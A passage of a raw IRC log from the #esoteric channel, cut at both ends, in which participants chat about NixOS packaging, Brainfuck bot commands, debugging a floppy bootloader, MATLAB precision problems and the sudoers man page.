PRIVMSG #esoteric :If you mean the topic, then no, you did not. < 1395487039 499801 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Otherwise I'm confused. < 1395487041 52139 :password2!~password@197.78.167.229 PRIVMSG #esoteric :oh ok < 1395487067 788074 :password2!~password@197.78.167.229 PRIVMSG #esoteric :because i wanted to copy a url and i cut it , now my topic shows it without that url < 1395487136 105753 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Just don't press enter in the topic field :) < 1395487145 249013 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i wont < 1395487156 515526 :password2!~password@197.78.167.229 PRIVMSG #esoteric :atleast i wont try to < 1395487160 344356 :password2!~password@197.78.167.229 PART #esoteric :"Leaving" < 1395487165 854942 :password2!~password@197.78.167.229 JOIN :#esoteric < 1395487183 277087 :password2!~password@197.78.167.229 PRIVMSG #esoteric :ok now its back < 1395487199 890757 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :In any case some kind soul would happily restore it for you if you mess up, I'm sure. So don't worry :) < 1395487538 826158 :password2!~password@197.78.167.229 PRIVMSG #esoteric :I just don't like to create unnecessary effort for people < 1395487645 524947 :password2!~password@197.78.167.229 PRIVMSG #esoteric :mmm , i see someone actually built a hoverboard < 1395487939 942320 :password2!~password@197.78.167.229 PRIVMSG #esoteric :oh nvm , they use a mannequin < 1395489913 903903 :passwordBOT!~passwordB@197.78.167.229 QUIT :Quit: Good < 1395490175 707775 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :elliott, there? < 1395490223 295161 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :yes < 1395490264 162600 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :elliott, do you know of any other distro with a package system similar to NixOS, specifically the different versions in different places bit? < 1395490286 239098 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Prebuilt packages preferably < 1395490291 826247 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :gobolinux. you probably don't want to use it. use nixos instead < 1395490309 76577 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Doesn't nixos use source packages? < 1395490335 253600 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :no < 1395490338 167049 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it has cached binary packages < 1395490344 67737 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Ah < 1395490344 591862 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :obviously if you customise packages they will hvae to be built < 1395490349 396823 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Oh also ARMv6 < 1395490350 984903 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :because no binary with a matching hash will exist < 1395490353 944941 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :lol < 1395490357 286062 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :RPi < 1395490368 393472 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Or is that ARM6? < 1395490370 504072 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :well you won't get any binaries on arm I don't think. < 1395490372 504641 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :I forgot which one is which < 1395490387 851454 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :https://nixos.org/wiki/Raspberry_Pi < 1395490392 730229 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Hm < 1395490402 108041 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Huh < 1395490416 938924 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :elliott, yeah lack of prebuilt will be a killer for RPi sadly < 1395490427 139085 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :you can cross-compile the binaries from any other linux host < 1395490431 415146 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :that should be very easy with nix < 1395490448 907707 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Hm, I had issues cross-compiling in general for non-trivial stuff < 1395490465 565520 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :The best thing I managed was distcc to a cross toolchain, which makes configure and such slow still < 1395490606 818758 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :have you used nixos yourself as a primary OS on a computer (rather than for just playing around with)? < 1395490635 730888 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :no but I did a lot of research into doing so a few times < 1395490658 316815 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :you don't want my real-world distro usage, I have also used windows as a primary OS within the last year < 1395490681 771494 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :So, what did you find? Last time I checked I found the existing package repo... somewhat lacking. Sure I could package a lot of software myself, but that takes time, and so does ensuring that it is up-to-date. < 1395490726 634451 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :I don't expect it to compare to debian or ubuntu, but hopefully most of what I want should just be there. < 1395490758 620307 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :the package base is okay for a niche distro, it's not that hard to package stuff (and you can just submit it upstream), shrug < 1395490770 40978 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Hm < 1395490928 270949 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Yeah NixOS on RPi seems annoying < 1395490934 863343 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Doable, but annoying < 1395491095 442609 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :elliott, so, out of interest, what is wrong with gobolinux? < 1395491111 369431 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :shrug < 1395491120 379918 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :why use something even more niche than nixos that has almost none of the benefits < 1395491129 869148 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Fair enough < 1395491145 253386 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :and do you really want $HOME to start with /Users < 1395491158 926285 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Oh god, no < 1395491169 410273 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :/System/Links/Headers ~~so beautiful~~~ < 1395491176 551328 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Looks like OS X at that point < 1395491356 35567 :passwordBOT!~passwordB@197.78.167.229 JOIN :#esoteric < 1395491386 416947 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1395491392 59940 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i wonder what eso lang i should try next < 1395491395 421428 :metasepia!~metasepia@96.127.201.149 JOIN :#esoteric < 1395491397 284341 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :aubergine. < 1395491437 597100 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :password2, since you use xchat you could also have restored your client's copy of the topic by doing a plain "/topic" without any parameters < 1395491451 661348 :password2!~password@197.78.167.229 PRIVMSG #esoteric :ah < 1395491453 114155 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :password2, which ones have you tried? < 1395491467 378338 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395491475 77280 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i have tried brainfuck , and even added onthere instruction < 1395491518 455655 :password2!~password@197.78.167.229 PRIVMSG #esoteric :*another < 1395491533 614791 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :What about underload, or befunge? Both are quite different languages from bf at least < 1395491578 546520 :password2!~password@197.78.167.229 PRIVMSG #esoteric :quite different i see < 1395491651 133872 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION shouts “AUBERGINE!” :D < 1395491688 26551 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :boily, need to check that one out myself < 1395491807 29304 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i think i'll play around witf bf a bit more first < 1395491907 200712 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bf:>+++++++>+++<[->}+}}+}}}--<] < 1395491909 218221 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :Done and it took 118 cycles < 1395491918 530315 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bfdump: < 1395491920 353204 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :0 |0| 3 7 14 21 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 < 1395492120 245389 :password2!~password@197.78.167.229 PRIVMSG #esoteric :oh yeah , i shoul still do input < 1395492344 395856 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(meanwhile, oh fungot. I was paying my ISP bill on the banking site. clicked the confirm button, then 500 internal server error. oooooh fsck.) < 1395492344 505388 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: agora alice c64 ct darwin discworld europarl ff7 fisher ic irc* jargon lovecraft nethack pa speeches ss wp < 1395492612 592858 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :boily, lets just the database is ACID < 1395492669 795828 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :It certainly should be < 1395492680 667876 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :https://sphere.chronosempire.org.uk/~HEx/8402/ reverse 2048 < 1395492683 898922 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I relogged in, then checked the transaction history. the attempt was absent, so I tried it again, and it went through. < 1395493033 401121 :passwordBOT!~passwordB@197.78.167.229 QUIT :Ping timeout: 240 seconds < 1395493123 112054 :password2!~password@197.78.167.229 QUIT :Ping timeout: 265 seconds < 1395493175 300586 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395493348 289313 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :^welcome ket1v < 1395493348 438937 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :ket1v: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page. (For the other kind of esoterica ... < 1395493370 352448 :password2!~password@197.78.166.228 JOIN :#esoteric < 1395493438 333570 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 240 seconds < 1395493468 301077 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I really like how mtgox found heaps of coins in the electronic equivalent of the back of a drawer :) < 1395493604 222351 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :int-e, oh? Recently? Last I heard of the story, they went bankrupt < 1395493663 282266 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :sometime this weak < 1395493672 466305 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Yeah found a news article < 1395493674 495521 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :interesting < 1395493690 243855 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Also scary that they could have missed it in the first place < 1395493932 232603 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I wonder whether they found any black lotus cards or similarly expensive cards, too. < 1395493948 19075 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :hah < 1395493987 733722 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :~duck blacker lotus < 1395493988 269163 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :--- No relevant information < 1395494005 138205 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION notes that the cuttlefish should fetch info from gatherer too... < 1395494037 556639 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(I never bothered to research how a mtg card exchange became - at some point in time - the biggest online market for bitcoins, but the idea is ridiculous to me.) < 1395494070 910118 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :the idea is very interesting. < 1395494101 582178 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :also, this land's price is currently floating at around a hundred bucks → http://magiccards.info/query?q=misty&v=card&s=cname < 1395494124 276837 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :boily: You know what MtGoX originally stood for, right? < 1395494136 752492 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(not sure about capitalization) < 1395494149 486284 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :the power nine or something like that? < 1395494173 854033 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :It was an MtG Online eXchange. < 1395494184 837476 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oh. < 1395494209 137544 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION is enlightened by the sudden revelation *angel and dæva chorus ♪* < 1395494913 809044 :nooodl!~nooodl@214.99-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395495034 238057 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :http://pastebin.com/EDUakzH8 < 1395495043 211068 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Any idea why this bootloading attempt does not load boots? < 1395495044 105252 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :int-e: it was really just a reused name, afaik. < 1395495062 88448 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it never really was an actual MTG exchange, to my knowledge? < 1395495067 545567 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :at least not one beyond prototype stage < 1395495071 276885 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it just got scrapped and reused for bitcoins later. < 1395495079 191889 :nooodl_!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be QUIT :Ping timeout: 245 seconds < 1395495095 151713 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Just trying to load in memory at 0x8000:0x0000 some code to make the screen white < 1395495099 657019 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :But so far no such luck < 1395495395 187717 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :elliott: don't go and break the effect of my background choir hth < 1395496439 408655 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Oh wait < 1395496446 957869 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Apparently boot sector is sector 1, not 0 < 1395496450 407131 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Might the be cause! < 1395496620 593414 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Eeeeh still no < 1395496794 763189 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it's the first sector. < 1395496818 161946 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Code still doesn't work though. < 1395496826 810649 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Second sector starts at 0x200 right? < 1395496875 336321 :jconn!~va@1-130.ipswich.cc.colocall.com QUIT :*.net *.split < 1395496879 830908 :ion!ion@heh.fi QUIT :*.net *.split < 1395496879 831060 :EgoBot!dlopen@libdl.so QUIT :*.net *.split < 1395496879 831134 :olsner!~salparot@c83-252-203-32.bredband.comhem.se QUIT :*.net *.split < 1395496879 831205 :newsham!~chat@udp217044uds.hawaiiantel.net QUIT :*.net *.split < 1395496879 831277 :samebchase!~samuel@codesurfers.net QUIT :*.net *.split < 1395496879 831347 :shachaf!~shachaf@unaffiliated/shachaf QUIT :*.net *.split < 1395496879 831415 :int-e!~noone@static.88-198-179-137.clients.your-server.de QUIT :*.net *.split < 1395496879 831487 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com QUIT :*.net *.split < 1395496879 831555 :Gracenotes!~person@wikipedia/Gracenotes QUIT :*.net *.split < 1395496879 831623 :ineiros!~itniemin@bayesianconspiracy.org QUIT :*.net *.split < 1395496879 831692 :mroman!~roman2@fmnssun.ibone.ch QUIT :*.net *.split < 1395496886 348585 :shachaf!~shachaf@unaffiliated/shachaf JOIN :#esoteric < 1395496893 723024 :Gracenotes!~person@192.241.203.42 JOIN :#esoteric < 1395496895 770545 :mroman!~roman2@fmnssun.ibone.ch JOIN :#esoteric < 1395496899 823945 :samebchase!~samuel@codesurfers.net JOIN :#esoteric < 1395496899 886597 :newsham!~chat@udp217044uds.hawaiiantel.net JOIN :#esoteric < 1395496901 193705 :olsner!~salparot@c83-252-203-32.bredband.comhem.se JOIN :#esoteric < 1395496907 630189 :EgoBot!dlopen@libdl.so JOIN :#esoteric < 1395496921 219960 :ion!ion@heh.fi JOIN :#esoteric < 1395496924 865427 :password2!~password@197.78.166.228 PRIVMSG #esoteric :pew < 1395497136 338390 :sebbu!~sebbu@unaffiliated/sebbu QUIT :Ping timeout: 335 seconds < 1395497153 222345 :sebbu!~sebbu@ADijon-152-1-21-168.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1395497182 437676 :ineiros!~itniemin@bayesianconspiracy.org JOIN :#esoteric < 1395497187 507904 :sebbu!~sebbu@ADijon-152-1-21-168.w83-194.abo.wanadoo.fr QUIT :Changing host < 1395497187 563593 :sebbu!~sebbu@unaffiliated/sebbu JOIN :#esoteric < 1395497203 888341 :int-e!~noone@static.88-198-179-137.clients.your-server.de JOIN :#esoteric < 1395497234 867796 :elliott_!~elliott@unaffiliated/elliott JOIN :#esoteric < 1395497273 415157 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com JOIN :#esoteric < 1395497441 278791 :mysanthrop!~myname@84.200.43.57 JOIN :#esoteric < 1395497750 766890 :myname!~myname@84.200.43.57 QUIT :Write error: Broken pipe < 1395497811 351253 :elliott!~elliott@unaffiliated/elliott QUIT :Remote host closed the connection < 1395497816 73784 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1395498433 252526 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Slereah_: how are you testing this? < 1395498456 737454 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Floppy image put in virtual box < 1395498498 954440 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ACTION found with dosbox that the image has to have the right size. 180kiB works. < 1395498500 592948 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Also got it to works, yay~ < 1395498514 593051 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Thanks to the osdev people < 1395498775 881969 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :http://pastebin.com/ajGQ42ii < all workin' < 1395498815 915422 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ACTION ended up with http://sprunge.us/iiQB < 1395498906 722286 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :urgh. s/%/#/g in there. stupid last minute changes < 1395499037 755473 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :I guess I could put my Pong code afterwards < 1395499126 597838 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I did figure out the sector number mistake quite soon, but the floppy image was too small, and dosbox didn't complain about it. It loaded the first 512 bytes as the boot sector, but the disk reading call would fail. Took me a while to figure that out. < 1395499304 296673 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395499348 564040 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Another mystery is that the code stops working if I load the second sector to 0x7000:0 ... huh. < 1395499913 1389 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :but that appears to be dosbox' fault. < 1395500033 364709 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1395500426 320839 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395500528 352365 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1395500655 680374 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ooh. damn, I should initialise the stack before using it. dosbox apparently used 0x7000:0x100 ... < 1395500658 987518 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :mystery solved. < 1395500721 322819 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 265 seconds < 1395500827 107701 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :bingo. < 1395501134 143765 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Hah. http://sourceforge.net/p/dosbox/code-0/3808/tree//dosbox/trunk/src/dos/dos_programs.cpp has a comment on it. It says: '/* set up stack at a safe place */'. That's what I thought, too... "load sector to a safe place". < 1395501314 162465 :Bike!~Glossina@71-222-39-26.ptld.qwest.net JOIN :#esoteric < 1395502012 745032 :password2!~password@197.78.166.228 PRIVMSG #esoteric :sssh < 1395502085 563964 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Somewhat Secure SHell? < 1395502098 926361 :password2!~password@197.78.166.228 PRIVMSG #esoteric :ehehhehe < 1395502350 666370 :password2!~password@197.78.166.228 PRIVMSG #esoteric :more like , stop talking bout things i dont know < 1395502357 971426 :password2!~password@197.78.166.228 PRIVMSG #esoteric ::P < 1395502474 472162 :password2!~password@197.78.166.228 PRIVMSG #esoteric :this room continually surprises me bu the conctend being discussed < 1395502782 208259 :Bike!~Glossina@71-222-39-26.ptld.qwest.net QUIT :Quit: NINE HOUUUUUR < 1395504402 733083 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395504571 312957 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395504572 314287 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395504604 83874 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh, regarding yesterday's problem with MATLAB and an invertible matrix with det(m) == 0; someone had switched things from double to single precision. The problem went away after switching back to double. < 1395504626 466358 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There was even a comment saying something to the tune of "single precision gives same results but faster". < 1395504659 740834 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395504694 355279 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395504938 390509 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1395505140 135456 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395505390 866095 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric ::D < 1395505400 413140 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :did you tell him he's an idiot < 1395505448 904299 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :that would be so fizzie < 1395505721 213375 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :He had already left for the day, so I'll have to wait until Monday for that. < 1395506072 721934 :elliott_!~elliott@unaffiliated/elliott NICK :elliott < 1395507450 188749 :Bike!~Glossina@24.221.58.166 JOIN :#esoteric < 1395507611 297507 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1395507686 517876 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395507936 362803 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :fizzie: dont you get big inaccuracies when det(m) is very close to zero? < 1395507971 520703 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 265 seconds < 1395508257 535740 :Bike!~Glossina@24.221.58.166 QUIT :Read error: Connection reset by peer < 1395508271 840076 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's not very close to zero if I use double-precision processing elsewhere in the code. < 1395508290 329344 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Well, depending on what "very close" means; it's 0.0185 for the test case where I noticed the problem. < 1395508302 353687 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(That's not so close.) < 1395508345 484305 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(It's not really my code, so I don't know all the details of it.) < 1395509405 247482 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :ouch, the sudoers man page is really terrible. Way too much work to read to figure out a simple "how do I let this user run exactly this command" for example. Wasn't there a recent xkcd about that iirc? < 1395509438 646588 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Well I'm resorting to "I remember doing this once before, lets find out on which system and then copy & adapt" < 1395509474 401167 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Vorpal: are you reading xkcd? ( https://xkcd.com/1343/ ... image title) < 1395509494 429808 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :int-e, ah yeah that one. Fairly recent iirc? < 1395509513 164934 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :yes, monday < 1395509565 900650 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :int-e, I blame my hazy memory on having a really bad cold from monday evening until thusday. Probably norovirus (I believe it is called in English) < 1395509644 648519 :Frooxius!~Frooxius@cust-101.ktknet.cz QUIT :Quit: *bubbles away* < 1395509660 489603 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Vorpal: My thought was "this is the second complaint about the sudoers manpage that I've seen in the last couple of days" and then I followed that thread. < 1395509680 52841 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :int-e, right. But it is actually terrible < 1395509812 675837 :Frooxius!~Frooxius@cust-101.ktknet.cz JOIN :#esoteric < 1395509873 414167 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's terrible, but "skip directly to EXAMPLES" is a workable strategy when dealing with it. (And even there, one has to skip over all those alias definitions.) < 1395509937 649521 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, as long as there is an example that works for your case < 1395509945 195158 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :otherwise, you are in a LOT of problems < 1395510010 288240 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Sure, but there certainly are some examples you can adapt for "let one user run one command". (Okay, the behaviour w.r.t. command line arguments is slightly hard to derive from the examples.) < 1395510033 831010 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, that is the thing I need though :/ < 1395510062 774711 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Well, it's not entirely impossible to guesstimate something that works from the "pete" example. < 1395510087 40498 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Or at least when combined with the "joe" one. < 1395510102 248730 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Hm < 1395510110 148387 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Actually, just "joe" directly.) < 1395510125 28035 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Also the fucking host part, I never figured that one out really < 1395510125 279170 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"joe ALL = /usr/bin/su operator -- The user joe may only su(1) to operator." < 1395510196 671658 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Yeah < 1395510202 164133 :password2!~password@197.78.166.228 QUIT :Quit: Leaving < 1395510335 759722 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The BNF-based documentation could probably be improved a lot by just rearranging it more logically. < 1395510416 970472 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :As it is, it needs quite a lot of spelunking to even figure out that one of those actual interesting lines -- like that "joe ALL = /usr/bin/su operator" -- is an instance of (the rather badly named) "User_Spec". < 1395510540 535644 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :do they seriously do their documentation with bnf < 1395510566 464664 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :EBNF, and there's quite a lot of text too, it's just all meshed up. < 1395510583 347413 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :hahaha they define ENBF, then define the syntax by means of ebnf < 1395510599 757623 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes, that's I guess what the xkcd joked about. < 1395510643 463932 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Given all that formalism, it's quite funny that it doesn't have a start symbol that'd define what an entire "sudoers" file consists of. < 1395510761 284563 :AnotherTest!~turingcom@94-224-16-55.access.telenet.be QUIT :Ping timeout: 245 seconds < 1395510783 31174 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(That part is specified in prose. "The sudoers file is composed of two types of entries: aliases (basically variables) and user specifications (which specify who may run what). There are four kinds of aliases: User_Alias, Runas_Alias, Host_Alias and Cmnd_Alias." And then you can start getting deeper based on those four terms, and guess that since User_Spec is defined as the first line of the ... < 1395510788 997998 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :... "User specification" section, that's the syntax for a single entry.) < 1395510915 137440 